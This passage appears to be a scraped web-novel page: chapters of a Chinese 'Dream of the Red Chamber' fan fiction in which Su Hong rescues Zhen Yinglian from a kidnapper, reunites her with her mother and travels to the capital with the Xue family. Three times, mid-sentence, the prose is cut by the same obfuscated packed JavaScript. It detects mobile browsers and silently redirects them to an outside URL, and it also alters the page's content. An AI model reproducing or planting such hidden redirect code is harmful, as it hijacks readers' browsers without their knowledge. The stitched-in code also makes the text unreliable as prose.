苏鸿闻言亦是沉默，问她道：“你可记得小时候的事？便是有一二印象的也使得。” 他看过原书，自是知晓这就是甄英莲无意，只是不知该如何让薛太太相信。正要说话时，薛太太便道：“她虽不记得，这也不难。咱们派人去将你世伯母请来，岂有母亲不认得女儿的？” 话虽如此，她听其口音似是带着点儿姑苏那边的，心中已经认准八分了。即便不是，封娘子一来，见她与女儿长得相像，少不得也要留在身边做干女儿。封娘子虽不富贵，但有她们帮趁着也不难过活。 说着便吩咐薛蟠即刻去办，薛蟠也没想到自己买的人竟与苏家有旧，深感天缘凑巧，连忙着人去办。 那小丫头见众人这般问，竟似是认得她一般，心中不免升起些许希冀，却不敢明言。宝钗见状，便笑道：“妈，我看这妹妹并非俗人，封伯母未来，就先留在咱们家作伴。” 说着便让她在身旁坐下，那小丫头便也怯怯坐下。薛太太见她生得这般好，秉性又温柔，心中也喜欢，便笑道：“他平日怎么称呼你？” 她只轻轻摇头，说道：“只叫我姑娘，不曾有名字。” 薛太太便道：“那便先称呼二姑娘吧，等封娘子过来再说。” 说着又向苏鸿笑道：“这事竟先别告诉你母亲。若认准了，她们也是孤儿寡母的，一并带上京才是。若再寻到你世伯让他们一家团圆，才是最妙。” 苏鸿见薛太太如此上心，竟不费吹灰之力就救下英莲，当即也十分高兴。他如今孤身一人不好安置英莲，见宝钗主动开口应承，薛太太又这般承诺，自觉再没有比这更合适的。 薛蟠才出去不久，忽然又着人请苏鸿到前头，苏鸿心中一凛，心道必是冯渊来了。他到前头一看，果然是个十八九岁上的男子领着数十个奴仆，战战兢兢立在薛蟠身前。 他多看了两眼方走上前，问道：“是什么要紧事，把我从暖阁里头喊出来？” 薛蟠指着冯渊叹道：“好师兄，你来与他说，简直是冤孽。再没想到还有这般奇事，那拐子竟不止卖了我一家，头儿里竟卖给他了。我早寻了伙计去拿拐子，没想到连着冯渊也找上门来。” 冯渊本是想着薛家仁善明理，不过是个丫头，他说明利害薛家自然就把人给他了。但如今立在薛大爷和苏大爷跟前，他年纪虽大，心中却有些畏惧。 苏鸿闻言，不待冯渊说话便道：“我且问你，你知道这丫头是何身份？她是拐子拐来的，若按律法，买了良人官府亦要问罪，你有几个胆子到官府去走一趟？” 8. 母女相认 冯渊本也被拐子骗过去，以为那丫头是他女儿。只先前薛家下人去拿拐子时他也听得分明，现下也清楚自己看中的那丫头是拐来的。 他本是仗着薛家好性儿才敢上门，一被苏鸿问住就无话可说。苏鸿不欲落人口实，又不知他品行，放任他在外混说也不好，便又道：“兄台里面来，咱们详说。” 冯渊见他们似是还有话说，便也果然跟上，三人分了主宾坐下。他们将房门开着，下人都远远守着，不敢靠近。 苏鸿才道：“实对兄台说，这姑娘是我们家亲近下人的女孩儿。因她父母服侍得好放了她奴籍。可怜自小被拐走，因与她母亲相像我才认得。现已派人去寻她家人，等她们过来自然分明。她是良家女子，断不可任由拐子处置。” 冯渊喜好结交男子，但也并非不通事理。他使了银子、签了契书不假，但终究未能带人回去完结此事。薛家也被拐子蒙骗，又将人带回，告到官府去也不占理。再加上苏鸿又直言认得她父母，虽知道定是苏鸿说瞎话，一时也被绕糊涂了。 他跌足长叹：“早知如此，我就，我就……我原只结交男子，最厌恶堂客，见了她才觉人生有些趣味。若有她，我自此也改邪归正了！” 若是早在交付银子时就将她带回，定不会有薛家横生枝节。 苏鸿有些厌恶，心道年岁差得这样大都能动心，能是什么好人。但也不好表露，违心道：“不过两三月，此事便有结果，你若不舍，日后自有她父母做主，你堂堂正正上门提亲就是。兄台既觉与她有缘，弟还有一事请兄台帮忙。” 才怪，两三月后他们直接上京，晾他也不敢上京寻人。 冯渊自然不想帮，但听苏鸿此言也觉有理，心道他也算家境殷实，到时候求了她父母，不也照样能带她回家。又见苏鸿长得清秀，便笑问道：“贤弟直言就是。” 薛蟠在旁憋着笑，也竖耳听着苏鸿要说什么。苏鸿看了眼冯渊，说道：“我想这拐子不单拐了一人，有心治这拐子，只是暂且找不到证据。想借贤兄的状纸先告他一人两卖，求太爷将他压在牢里，不愁他不开口说话。若有幸寻回几个，岂不是贤兄功德无量？” 冯家虽说小乡绅，但也算有头有脸，他们再跟太爷打个招呼，拖延一段时间不难。由官府收押动刑，拐子不慎露出口风，太爷审案，多顺理成章的事。他们将现成的功绩送上去，打点上下，拐子又没后台，太爷自然乐得收案。 冯渊见苏鸿所言处处皆是大道理，薛家又势大，心知即便不依，自有旁人愿意上赶着。倒不如做个顺水人情，也跟苏家、薛家结个善缘。因此也一口答应，承诺回去后便写状纸递上去。 待他走后，苏鸿方若有所思看着薛蟠，笑道：“师弟竟差点被冯渊给哄了，看来我早该让师弟学些律法。咱们这样的人家打官司自有门客，只是自己心里也得清楚，免得被人忽悠了。” 若是薛蟠懂得律例，早就三言两语打发走冯渊了，倒不必等他过来。 薛蟠讪讪一笑，说道：“我想着他先签了契书就是他的人，又不想透露她是良家女孩，一时被问住了。” 苏鸿和薛蟠一边往书房去，一边笑道：“这话你让大妹妹听到，又该笑话你了。难道咱们不曾交付银子、签契书？拐子一人两卖，两家都有道理，自然是谁先把人带走，人就是谁家的。便是到了官府，也不过是让拐子退了银子和违约金，再没有把人判给他的道理。” 薛蟠想了想，也点头应是。随即又迟疑道：“给知府递消息不难，只是咱们少了苦主，拐子又知一旦泄露必死无疑，如何会透露口风？” 苏鸿闻言定定看着薛蟠，见他说这样的话，不由想起原书中形容他“人命官司一事，他竟视为儿戏，自为花上几个臭钱，没有不了的”，心中快慰。 若论世情，如甄伯父这样淡泊名利的人世间罕有，如他父亲、薛世伯、林如海等在浊流中独善其身的少有，便是有，也往往被浊流压倒。世间事多数确如原文中薛蟠所想，世路难行钱作马，金银开路没什么不了的。 薛蟠从前透彻世情，如今却也有这般明公正道的想法，虽是好事，却也让苏鸿心中五味杂陈。他也常想仙师让自己扶救世人，搭棚舍粥不是难事，但救得了一时，焉能救人一世？连他自己都不能免俗，何况旁人。 薛蟠见他这般一时摸不着头脑，问道：“这是怎么了？难不成我说得不对？” 苏鸿笑道：“师弟说得对。” 他看了眼薛蟠，暗嘲自己也要用歪门邪道，说道：“官府自然有官府的办法，咱们递消息过去，再打点上下，无中生有岂是难事？何况竟也不是无中生有，官府搜他房子，定有证据。官府但凡寻到人，人证物证俱在，由不得他抵赖。” 他心中也十分矛盾，若让甄英莲去做人证，当然最合乎法理。但女儿家的名节不是玩笑，他并非甄英莲，也并非她的生身父母，如何能替她做主？若他是甄世伯，女儿多灾多难的，好容易回到父母身边，又岂能忍心让她与拐子对峙公堂？ 可拐子又着实可恨，不知祸害了多少好人家的女孩，不严惩难解心头之恨。 薛蟠见他面带纠结，转念一想就明白他为何犹豫，笑道：“我倒是太拘泥了。此法不可常用，免得陷害好人，但偏偏他是板上钉钉的拐子，再不必害怕。好师兄，今日怎么扭捏起来了？” 苏鸿翻了个白眼道：“我是什么排面上的人，我说谁好、说谁坏就真是如此？我只是想着今日也受好师弟的教诲，反倒是我行为不迂腐、心却迂腐了。” 二人说笑片刻，薛蟠便果然将拐子送到衙门，又这般那般交代一通。谁知本任知府即将被调走，心中盘算争婢案倒是不难，只是拐子案缺了人证，最主要的是要寻人。 他是来不及寻人，但只要能把拐子留在衙门，给后来人做个顺水人情也不错。何况薛家极富，便是不能结了拐子案，顺他们的意思拖延些时日也不难拿到酬谢。主意一定，便又亲自上门拜访薛蟠，二人商议定了，就把拐子送入大牢。 苏鸿晚间回去，照旧探查功德时，却赫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285812|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现功德涨了一百，不由十分惊诧。他得到宝轮也有两三年了，陆陆续续才涨了四百，可单单救下英莲就涨了一百。一下这样多的功德进账，倒让苏鸿有些迷惑。 若按天地无情来论，甄英莲是人，其他人也是人，怎么偏偏救了她这样重要？难不成是因她在薄命司中挂名？这样的想法虽有道理，但苏鸿总觉得不会这般肤浅，又找不出其他缘由，一时坐在书桌前怔住。 风信见苏鸿正温书却开始发呆，也不以为意，静悄悄不敢打断。他们家爷样样都好，来金陵后竟不像小孩子，只偶尔才流露出孩童天性。他们老爷太太背地里也纳闷，奇怪是不是太爷去世、他又在生死间走一遭才造成的。 到了夜深人静时，他们爷就心情沉郁，冒出许多稀奇古怪的想法，让他也疲于应对。有时更是看些道家书籍，嘟囔什么天命云云，自伤自叹，偶尔又替别人感伤，有趣极了。 转眼便是十几日过去，封娘子得到薛家的消息后便一刻不敢停，回明父亲后就跟着薛家家丁一路到薛家。虽说封父不大愿意，但她乃出嫁女，便只好随她去了。 等封娘子到了薛家，薛太太便连忙唤人把苏鸿喊来。苏鸿虽不认得封娘子，见她面容虽说憔悴，仍能看出与甄英莲有几分相似，便也能确认她的身份，连忙上前见礼。 封娘子虽感激苏鸿和薛家如此尽心，却全然没有心思寒暄，神情恍惚心不在焉。薛太太忙道：“封姐姐别急，已经派人去叫了，想必一梳洗就来了。” 她自能看出封娘子与二姑娘的相似，二人又同样恬静温柔，一个模子刻出来一样。若非这样的母亲，绝生不出那样温柔娴静、知礼识节的女儿。 忽然下人将帘子打开，传道：“姑娘和二姑娘来了。” 封娘子再也忍不住，忽然站起身，紧紧捏着手帕一眼不错得看着门口。她早已忽视了前头同样举止娴雅的姑娘，一眼不错地盯着后头眉间带着胭脂记的女儿。 那就是她的女儿！那是她身上掉下来的肉啊！ 甄英莲亦知今日是疑似自己母亲的封娘子来，怯怯地捏着手帕抬头看她。两相对视时，虽不认得眼前人，但那双与自己相似的眼睛却似是唤醒了早已尘封的记忆，一时便觉眼中酸楚。 “英莲！我的女儿啊！英莲！” 封娘子三步并作两步跑到英莲身前，跪在地上一把将甄英莲搂到怀里，眼泪如决堤一般流下。她颤抖着手摩挲英莲的面颊，豆大的泪珠滚落在英莲脖颈处。 甄英莲被她搂住，尚未反应过来时便满脸泪痕，起先不敢伸手抱她，渐渐才放松下来，死死搂住母亲。她数番哽咽，小声喊了一句娘，被封娘子一叠声儿喊着心肝肉后才大胆起来，声音越来越大。一声儿一声娘，二人搂在一处痛哭流涕。 众人见状，无不垂眸拭泪，低声啜泣。薛太太更是泪水不断，本是感性之人，见她们母女重逢不由想起她早就作别多年的父母，搂着宝钗一顿痛哭。薛蟠和宝钗又是心疼母亲，又是思念父亲，又是为母女重逢感动，也哭个不住。 9. 上京 苏鸿悄悄拭泪，见大家越发伤感深觉不好，连忙将帕子收起。一手拉着封娘子一手拉起甄英莲，含泪道：“今日母女相逢是大喜事，若只管对着哭，伤了身体可怎么好。” 薛太太也忙起身，用湿透了的帕子拭泪，亲自扶着封娘子入座。她含泪道：“鸿哥儿说得很是，我原该劝你们欢欢喜喜的，谁知我自己也忍不住。”说着又是眼睛一酸，道：“英莲这孩子大劫已过，以后都是顺顺利利的。” 宝钗也上前扶住英莲，含泪笑道：“如今，你可苦尽甘来了。”一边说，一边用帕子为她拭泪。 封娘子一眼不错看着英莲，半晌才回过神来，含泪点头：“是啊，该苦尽甘来了。多谢妹妹，也多谢鸿哥儿，费心为我母女想着。” 她想到英莲被拐后就疯疯癫癫出家的丈夫，心中又是一疼，搂着英莲暗叹天不遂人愿。她并不怨怪丈夫，若非丈夫从前帮助过苏家，苏家又岂会特意送来钱粮照顾她，又岂会留心女儿的踪迹。 只是英莲一丢，他们老夫妻俩的心都散了，全无经营生活的心思。如今好容易英莲找回来，夫君却音信全无，让她怎么办才好呢？ 众人渐渐冷静下来，梳洗后才正式见礼，让英莲给封娘子磕头认下母女。薛太太又笑道：“虽然知道你们母女才相认，必不喜欢我在中间掺着。但我喜欢英莲温柔娴静，一定要认她做干女儿，只是要等你来才好说。” 她怜惜英莲命运艰难，再加上她小小年纪就出落得这般，若有父亲庇护自是无碍。可叹甄老先生又出家，孤儿寡母无人依靠。虽说因丈夫没了，薛家地位也不如从前，但总比她们在外形单影只要好。 封娘子闻言先是一惊，随即便含泪笑道：“这说的哪里话，多个人疼爱英莲，我……我感激你们还来不及！” 她这也是实言，女儿在外受苦受难，如今也出落得这般模样，她怎敢带女儿贸然回家。她那父亲对她尚有一丝父女情分，但岂会对英莲手软。何况薛家势大，也能保护好女儿。 英莲在薛家几日，与薛太太、宝钗日日作伴，又托她们的福找到生身母亲，深为感激。见薛太太不嫌弃，便连忙跪下磕头认了干亲。 薛太太喜得一把搂住英莲，笑道：“咱们两个老的一起作伴，两个小的一起针黹读书，更好了！”又道：“封姐姐竟不必回姑苏，就在家住着，来年咱们一同上都。苏家老爷太太也惦念着你，若知道英莲已经寻回，定然高兴。” 封娘子闻言，虽也想亲自上都感谢苏家，但苦于囊中羞涩。虽说有薛家和苏家帮扶，但她没有丈夫，家里也没有进项，此刻虽好，就怕日后不美。 苏鸿见她面带难色，便道：“伯母不必多心，昔日若非甄伯父慷慨解囊，焉能有我父亲今日？可见助人者人恒助之，伯母若是多心不去，不说薛伯母不乐意，连我父亲也要责备我不知感恩。” 封娘子本也不是拘泥之人，想了一想觉得有理，便点头笑道：“就依你们的主意。” 薛太太也喜道：“正是这话，咱们故交亲友本就该帮趁照应着，我最不喜扭扭捏捏的人。这两头没笼头的马再不要提，我在家只宝丫头陪着，如今你们来了，咱们就丢开他们，让他们逛去！” 说得众人都开怀大笑，苏鸿和薛蟠对视一眼，也都发笑。当下，封娘子母女二人见薛家这般恳切，苏鸿又这般殷切，便也都安心留下，打算一同上京。她便一封书信托人传给父亲，路引凭证皆由薛家帮忙一起办理，只等苏鸿院试。 苏鸿见甄家事了，便也放心自去温书。他虽考中县、府两试的案首，照例可赐秀才功名。只是他家在京城，自然是考中院试后名正言顺被府学推优入国子监最妙。官场并不清白，不过是多考一场，能给他父亲省些事最好。 倒是那拐子的略卖人口案，在金陵正传得沸沸扬扬。事情既已被翻腾出来，为了保命，拐子便只好吐露口风，将自己此前卖过的女孩儿回忆出来。官府照着拐子所说的寻找苦主，果然一一对应。 这且是后话，贾雨村一上任便接了案，得了薛家的银子，又是贾家举荐，自然尽心尽力。案子办结，又殷勤万分写了书信给薛家。 如今已是四月，苏鸿、封娘子母女便和薛家一同上京。苏父、苏母早知他们近日就要回来，便日日派人在码头上守着。可巧王夫人早收到妹妹来京的信，亦派人守着。双方言谈一番发现苏家竟是与薛家一同入京，便干脆两方间隔着守，各自能稍微得闲。 只说苏鸿等人连着坐了月余的船，见靠岸在即都望眼欲穿。薛蟠少见苏鸿这般期盼的模样，笑道：“除了有些无聊，水路可比陆路方便多了。” 苏鸿看着荡漾的水波，感觉眼前发眩，说道：“初看时觉得心胸开阔，现在已看厌了，觉得魂儿都飘着。算算日子，母亲应当派人在码头守着了，我是要痛痛快快在家睡上几日。” 他不欲与贾家来往，恰巧他和宝钗的婚事也未正式定下，倒也不必正式拜访贾府。 薛蟠笑道：“师兄先替我给师父问安，我送了妈和妹妹去贾家后就过去。” 苏鸿摆手笑道：“你不用忙，他们定是交代过了。你和伯母也都清清静静歇几天，等你们安顿好了就递个信儿。” 舟车劳顿，他看大家也都面染疲态，索性两家相好，也不必在意繁文缛节。倒是英莲妹妹和甄伯母，跟他一同到苏家安顿正好，也让父亲、母亲放心。何况薛伯母姊妹暮年相见，定也有许多知心话要说。 他主意一定，便入仓来见薛太太。不待薛太太拒绝，封娘子便笑道：“鸿哥儿想得周到。”又对薛太太道：“王妹妹今儿一去，少不得与贾府阖家拜见，我们在你们反不能畅叙抒怀。何况我与他母亲经年未见，如今上京来，头一个是要去见她的，在苏家住着也是正理。” 薛太太听封娘子考虑得这般周到，想了一想便道：“这话也是。只是封姐姐在苏家就罢了，得让英莲时常来我们家小住才是。姑娘家不比咱们忙着家务事，总得有玩伴。贾家现有三位姑娘，现今又有位林姑娘常住，还有亲戚家姑娘时常去，最热闹了。 封娘子便笑着点头，见英莲和宝钗坐在一处小声说笑，深以为然。小姑娘家，在闺中可谓最欢乐最无忧无虑的时光，她虽不好意思麻烦薛太太，却不想让英莲错过。何况英莲虽不说，心里到底存了阴影，有姊妹们陪着倒好。 登岸时，各家派来的人都上前询问，恰巧王夫人所派陪房与薛太太的下人认得，连忙分了人通知苏家的，赶着上前给薛蟠请安。薛蟠见姨妈派人来接，正好省了他雇车轿的功夫，便连忙命婆子媳妇们围随着他母亲、妹妹上轿。 苏家也早拉着两辆车候在这里，见，婆子们上前簇拥围随着甄家母女上车。 又有下人上前道：“大爷，老爷交代说薛大爷来京之后暂且不必来府上请安，先紧着故交亲友就是。”苏鸿笑着答应，见一切安置妥当，隔着车窗与薛太太、宝钗道别，又与薛蟠说了苏父的意思，方上车回家。 苏父在衙门未能回来，苏母则早早接出大厅，迎候英莲母女。及至见面，苏母与封娘子俱想起四人昔日宴饮谈笑风生、挽手踏青，如今物是人非，不由泪如雨下。苏鸿忙劝道：“母亲、伯母，咱们里头坐着，外头闷热。” 众人忙忙入了内室，封娘子便让英莲给苏母请安。苏母虽早听说英莲被寻回，但还是心中隐忧，现下见英莲活生生站在眼前，又见她与封娘子神态面容俱都相似，终于放下心。 苏母笑着搂过英莲，笑道：“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285813|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子，与你母亲一个模子里刻出来的一样。我们与你家是世交，只管在婶婶这里住着，与自己家是一样的。只是生得单薄，须得好好调养调养。” 她早已注意到封娘子鬓边银发，想到上次见她时却是乌发如云、神情恬淡，心知定是内心煎熬所致。她不敢提及往事，又见她们面色疲倦，略坐了坐便让她们先回房休整歇息。 苏鸿才笑嘻嘻上前道：“母亲，儿不辱使命，可算把英莲妹妹找回来了。” 苏母搂着他笑道：“你信上说得简短，快给母亲说说到底是怎么寻到你妹妹的，竟有这样凑巧的事？” 苏鸿便将英莲被拐子藏在家中假称亲女、被卖两家、被自己和薛太太认出等事详细告知苏母，方叹道：“那拐子假称这是自己亲生女儿，妹妹又被毒打着改了口，任谁去问都只说是父女。幸而有缘，被薛大哥哥凑巧买下，薛伯母和我又记得她的胭脂记。” 苏母听了过程，虽不信佛，却也双手合十道：“阿弥陀佛，果然是天缘，再没有这样巧的事。你薛伯母既认了英莲做女儿，必是真心怜惜。你妹妹也不像多愁善感的人，又有宝丫头开解她，过段时日就彻底缓过来了。” 且不说苏家骨肉、故交团聚，薛太太等一行人抵达贾家时，早有下人飞马传报王夫人。王夫人闻言一喜，连忙带着李纨、探春等接出大厅，将薛家一行女眷接了进来。 薛蟠则被引着拜见贾政、贾赦等。贾政见了薛蟠，想起贾珠死后王夫人心情郁郁，又想到薛蟠年轻不知事、薛家母女无人陪伴难免孤单，便连忙命人传话要王夫人留下薛家居住。 他们家别的不多，空屋子都是现成的。何况薛家老的老小的小，让她们住到外头终究惹人担忧，倒不如家里又便宜又安全。 此时，王夫人已引了薛家母女拜见贾母，贾母喜得连忙吩咐贾家姑娘们并黛玉不必上学，同来见客。一时众姊妹厮见过，见多了位姐妹作伴俱是高兴，坐在下首说笑。 宝钗见黛玉生得纤巧单薄，面带愁态，又似有不足之症，不由纳罕。看贾母对黛玉的亲密怜爱之态，岂会放任她缺医少药？一时又与自己从娘胎里便带来的热毒联系起来，暗想林妹妹难道也有奇病不成？ 又见宝玉这样的年纪不去上学，反而在姊妹们中间说说笑笑，心中更奇。别人她不知晓，她哥哥打小儿虽不着调，多数也是跟在父亲、族中兄弟身边。鸿大哥哥更是自小随父读书，不过隔几日才来他们府上给妈请安，坐一会儿也就同哥哥到外头了。 她微微敛眸，见宝玉亲亲热热喊姐姐，便也笑着答应，说笑两句便转身又寻其他姊妹说话。她家中虽有妹妹，只是时常随叔叔行商，常日陪伴在母亲身边，少了同龄玩伴。如今不止有英莲，还有贾家一众姊妹一同玩乐，心中十分期待。 贾家现今三位姑娘均未出过远门，先时黛玉来此，她们亦问过路途风光。只可惜林妹妹禀赋柔弱，在船上都是歇在仓内，不大关注沿途景色。今见宝钗来此，探春便问道：“宝姐姐，一路上可有什么好风光没有？” 宝钗笑道：“头里的一段景色最好，游鱼跃动、白鹭翩跹。又有碧波云雾，日光斜斜照下来，竟像是在画中一样。先时还立在甲板上喂鱼，逗它们拥过来，不过三五日，我也懒怠到外头了。” 她们日日都在内宅，除拜望亲友外竟是连门都不出，听宝钗如此说，心中不由想象着是何景象。探春想到不得亲眼得见，心中不免遗憾万分。 贾母见她们姊妹和睦，本就爱热闹，便笑着对薛太太道：“姨太太就在这里住下，可别跟我们见外。我成日在家闲着，正愁没个亲友说话呢。她们小姊妹一处玩乐，咱们也亲密些。” 薛太太本也想着与姊妹厮守，便笑着答应下来。 10. 贾家 王夫人见自己虽未出言，贾政与贾母便先后要妹妹留在家中，自觉心中欢喜。又见外甥女品貌不凡、举止端庄，心中更爱，只遗憾宝钗早早定了亲，不然与宝玉最是相配。 待众人散后，王夫人便依贾政之言将梨香院收拾出来，又让妹妹与自己先回家。宝钗自与三春、黛玉姊妹在一处玩乐，暂不必提。 王夫人姊妹虽时时通信，但到底没有面对面说话来得痛快。二人入了内室，王夫人未语泪先流，掩面哭泣道：“妹妹……” 姊妹暮年相见，心中俱是酸楚。薛太太见姐姐如今鬓染银丝、形容木讷，想到姐姐受的苦楚，心中也是一酸。又担忧王夫人过于悲伤损伤身体，又连忙劝道：“姐姐快别哭，咱们如今见了面，不说说笑笑的，怎么又哭起来？” 说着便连忙为姐姐拭泪，王夫人闻言方渐渐止住泪水，笑道：“你看我，这把年纪还这样。可惜哥哥升了边缺，你竟没赶上见哥哥一面。” 薛太太闻言浑不在意，笑道：“便是这会儿不见，日后总要回京的，见了姐姐也一样。方才老太太说留我住下，正合我意，不然我们宝丫头连个说笑的姊妹都没有，我看着心里也疼。只是一应日费供给一概免却，方是咱们这样人家的道理。” 王夫人笑着揽住妹妹道：“我还不知道你们家，既要这样随你们便是。且说宝丫头，怎么这样快就定下了？” “我心里也纳闷。那和尚看上去是个灵验有道行的，说要我们宝丫头遇到有玉的方可结为婚姻。本只当是吉利话，求布施的，谁知宝玉竟是生来带玉，上面的字又与宝丫头的是一对儿。” 薛太太又叹道：“咱们两家门当户对，婆婆又是亲姨妈，再没有比这更好的。外头多少姑娘家出嫁受磋磨，难道咱们还不知道？只是老爷临终前交代，我也不好忤逆。他家虽家底薄了些，但苏家老爷高风亮节，苏家太太温和宽厚，鸿哥儿聪慧孝顺，也算是难得的人家了。” 她也不敢提及苏鸿十二便入学的事，免得又勾起姐姐的伤心事，想起珠哥儿。何况苏家家底薄只是相对薛家罢了，满金陵里能和薛家比家底的才有多少？鸿哥儿小小年纪入学，未来不可限量，比林姑爷更胜也未可知。 王夫人听了点头笑道：“既然苏家也是好人家，倒也不辱没宝丫头。” 她本想与妹妹做亲家，她也能有亲近人陪在身边。又想到和尚的批语于宝玉无碍，便也不再强求。她虽想为宝玉日后打算，若与薛家结亲最好，若是不能，日后再寻好人家的女孩儿也罢。 薛太太倒不好开口说丈夫开解她时说过的“宝玉虽灵秀却不像上进的样子”“贾家男人不争气”等语，免得冒犯姐姐。她只笑道：“一切随我们老爷去吧。” 二人说笑半日，凤姐儿差人来回话，请王夫人拿主意。薛太太便道：“姐姐倒是图受用，把这一摊子事给凤丫头。也难为她，小小年纪，这样大的府邸都能照应周全。” 她也是命好，婆婆慈和、丈夫敬爱，又顺利生下一双儿女养到如今。她管家后，家里人口少，二房亦是忙着自家的生意买卖，没那些狗屁倒灶的事儿。何况薛家不缺银钱，银子赏下去，下人们只怕干得不够尽心。 倒是她姐姐，珠哥儿早逝、元姐儿被家里送入宫，即便有宝玉在膝下养着又如何能畅快。老太太虽也是慈祥人，但家里人口多，事情繁多复杂，岂是容易管的。如今这府里又命凤姐儿照管，她一个小辈儿，比姐姐更难三分。 王夫人方笑道：“凤丫头心细，做事难得周全爽快，又能让老太太开怀。有她在，倒省我好多事呢。只是你信上说临上京认了干女儿，是为什么？” 薛太太叹道：“姐姐不知道，这丫头着实受了苦。她父亲与苏家是世交，在苏州原也是望族。只可恨拐子，将好好儿的大家小姐拐了，恰巧被我们家买下。苏家太太几番托我找寻，因而我一见就猜着是她，接她母亲过来相认。” 她想到王夫人如今尚佛，便又笑道：“姐姐猜，苏家如何与甄家是至交？那甄家老爷为人不慕名利、乐善好施，昔日苏家老爷在苏州时被贼偷了银钱，险些无法回家。正是甄家老爷慷慨解囊，扶危济困。” 王夫人闻言一怔，再没想到天下还有这样的巧合，连忙低头念了几句佛。她笑着赞道：“可见生来富贵必要行善积德的。如此看，确实是你们几家的缘分凑到一处，方有这样的巧事。” 待到下人来回梨香院收拾好了，王夫人便和妹妹一起视看，生怕下人不尽心，怠慢了妹妹一家。晚膳时众人又团聚在贾母房内用饭，一时其乐融融，因人多更显热闹。 薛家在贾家安置好后，不过三五日，薛蟠便上苏家给苏父、苏母请安。苏父见了薛蟠，又早从儿子口中得知他大有长进，心中很是欣慰。又叮嘱不必每日过来请安，要同家里的总管、伙计们学着生意，不能全靠外人维持。 待想了想，又觉不放心，说道：“为师对生意买卖并不精通，你凡事多请教你叔父。少与纨绔子弟厮混，如今你家就剩你一个男丁支撑门户，你若不撑起来，叫你母亲、妹妹依靠谁去？” 宁国府虽极不像样，但荣国府却比宁国府好些。贾家二老爷靠着祖辈功绩被赐了官儿，但为人谦恭厚道，又是薛蟠的亲姨爹，料想薛蟠跟着他也能受益。若真被纨绔子弟勾了魂儿，必定要让薛蟠住到自家亲自教导，免得辱没先父。 薛蟠闻言唯有连连应是，见师父提起纨绔子弟，想到贾家子弟行径，一时大为认同。只是这等污言秽语不敢出口唐突师父，单等着见了苏鸿大倒苦水。见师父没什么要叮嘱的，便道要去给苏母请安。 薛蟠一时去了，见了苏母后便笑道：“师母，妈让我问师母、师兄好，还说明日带着妹妹一同过来，也顺道请甄妹妹到我家小住。” 苏母笑道：“既如此，明日我定预备好酒好菜。可惜我家没有女孩儿能和你甄妹妹作伴，不然定不放你甄妹妹走。你师兄今儿去太学见夫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285814|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你再坐坐等他回来。” 正说着，便有人传：“大爷回来了。” 苏鸿进了屋子忙给苏母请安，见薛蟠也在，便也笑着见礼：“大哥哥怎么有空过来，家里故交亲友都拜访完了不成？” 薛蟠也笑道：“哪里拜访得完，不过是要紧的先拜访几家，剩下的慢慢来吧。我妈打发我来给师母问好，还说明日要带着妹妹过来。师兄在太学如何？那里多是勋贵子弟，靠着家族荫庇才进去的，无法无天惯了，若得罪了师兄只管告诉我。” 他薛家别的不提，故交亲友除了翰林文官外，就是旧日勋贵。如今虽不比从前，总归还有几分薄面，能说得上话。 苏鸿见薛蟠说得恳切，便笑道：“优贡、恩贡本就分了班，寻常也碰不到一起。两相井水不犯河水，谁来得罪我？何况我年纪小，夫子也都肯多关照几分。” 薛蟠听他这话说得在理，又知他不是扭捏作态的人，便也不再提起。待苏鸿与苏母说了今日见闻后，才同薛蟠一起到外头书房。不待薛蟠说话，他便笑道：“怎么样，见识了贾家子弟的行径，可是我说得那样？” 他大略看过一遍《石头记》后，别的暂未深思，倒是把自己的呆师弟在原文里的种种表现看得清清楚楚。倒有一句最妙，言说师弟到了贾家却被贾家子弟勾引得坏了十倍。斟酌其语境，大概只是写书人的自惭之语。 可即便如此，蛇鼠一窝，料定贾家人比起草芥人命的师弟来说好不了多少。 薛蟠虽与贾家是亲戚，却与苏家更为亲近，便连连摆手道：“你先时劝我别与贾家子弟深入交接，我还当你怕我染上纨绔习气，却不想比那更令人可厌。我留心打听，外头竟是也有三言两语。只奇怪你远在金陵，怎么对贾家的事这样清楚。” 苏鸿便半真半假道：“自是梦遇仙人，告诉我说若要你们平安，总要修身立德。又说宁荣二公后继无人云云，我便听住了，特意学给你听。如今看来果然不假，我是要挑个好日子上香去的。” 薛蟠一听便知是玩笑话，只以为是师父不好对他直言，悄悄告诉师兄命他转告。他想了想，便驳道：“什么后继无人，师兄可糊涂了，宁府虽不好说，我姨爹家却好，难不成你没听过我那表弟？” 话一出口，却又心中暗悔不该说出宝玉来。父亲临终前对他亦有交代，说了妹妹金锁的来历，又说师兄和妹妹的婚事能成最好，若不能成顺其自然便是。宝玉的玉他也见了，确实和妹妹金锁上的字是一对儿。 